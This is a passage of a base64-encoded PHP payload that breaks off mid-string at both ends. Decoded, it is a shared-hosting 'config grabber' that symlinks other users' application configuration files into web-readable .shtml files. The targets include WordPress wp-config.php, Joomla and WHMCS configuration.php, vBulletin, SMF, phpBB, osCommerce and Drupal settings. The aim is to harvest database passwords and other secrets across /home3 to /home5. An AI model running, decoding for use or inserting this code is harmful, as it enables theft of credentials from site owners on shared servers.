tbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bXMvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW1zLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnVwbG9hZC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbC9jb25maWcucGhwJywkZG9tYWluLid+fj5tYWxheS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsZW50cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50Mi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYTEuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGRvbWFpbi4nfj5EcnVwYWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2UxMDdfY29uZmlnLnBocCcsJGRvbWFpbi4nfj5lMTA3LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYXRhcy9jb25maWcucGhwJywkZG9tYWluLid+PlNlZGl0aW8uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TU0kucGhwJywkZG9tYWluLid+fj5DTUYtZm9ydW0uc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkIuc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi1mb3J1bS5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk90aGVyLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkZG9tYWluLid+fj5pbnZpc2lvLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9saWIvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+QmFsaXRiYW5nLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnRzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5nLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5ncy5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlBocEJCLWZvcnVtLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGRvbWFpbi4nfn4+cGhwYmIzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htY3Muc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG0uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRkb21haW4uJ35+PndobWNzMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5tYW5nZXdobWNzLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PldobTkuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bXlzaG9wLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+c3VwcG9ydC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnRzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2Uuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2VzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaG9wcGluZy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLXNob3BwaW5nLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNhbGUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRkb21haW4uJ35+PmFtZW1iZXIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13cC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd3AtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d3AxMy1wcmVzcy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3MtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd2ViLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ibG9ncy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtaG9tZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1wcm90YWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+b3JkcHJlc3Mtc2l0ZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbWFpbi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtdGVzdC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb29tbGEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXByb3RhbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1jbXMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1zaXRlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbWFpbi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ld3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ldy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlZCdWxsZXRpbi1mb3J1bS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52YjMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y3BhbmVsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+cGFuZWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3Quc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3Rpbmcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQtc2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLVpDc2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn4+bWstcG9ydGFsZTEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLXNtZi5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtcy5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj51cGxvYWQuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+bWFsYXkuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGVudHMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudDIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnL2tvbmVrc2kucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZzIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTQvJy4kdXNlci4nL3B1YmxpY19odG1sL3N5c3RlbS9zaXN0ZW0ucGhwJywkZG9tYWluLid+fj5sb2tvbWVkaWExLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRkb21haW4uJ34+RHJ1cGFsLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU0LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9lMTA3X2NvbmZpZy5waHAnLCRkb21haW4uJ34+ZTEwNy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNC8nLiR1c2VyLicvcHVibGljX2h0bWwvZGF0YXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfj5TZWRpdGlvLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLWZvcnVtLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0uc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkZG9tYWluLid+fj5PdGhlci5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGRvbWFpbi4nfn4+aW52aXNpby5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50cy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZ3Muc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwJywkZG9tYWluLid+fj5QaHBCQi1mb3J1bS5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkZG9tYWluLid+fj53aG1jczIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bWFuZ2V3aG1jcy5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm15c2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnQuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlcy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1zaG9wcGluZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zYWxlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlcjIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywkZG9tYWlu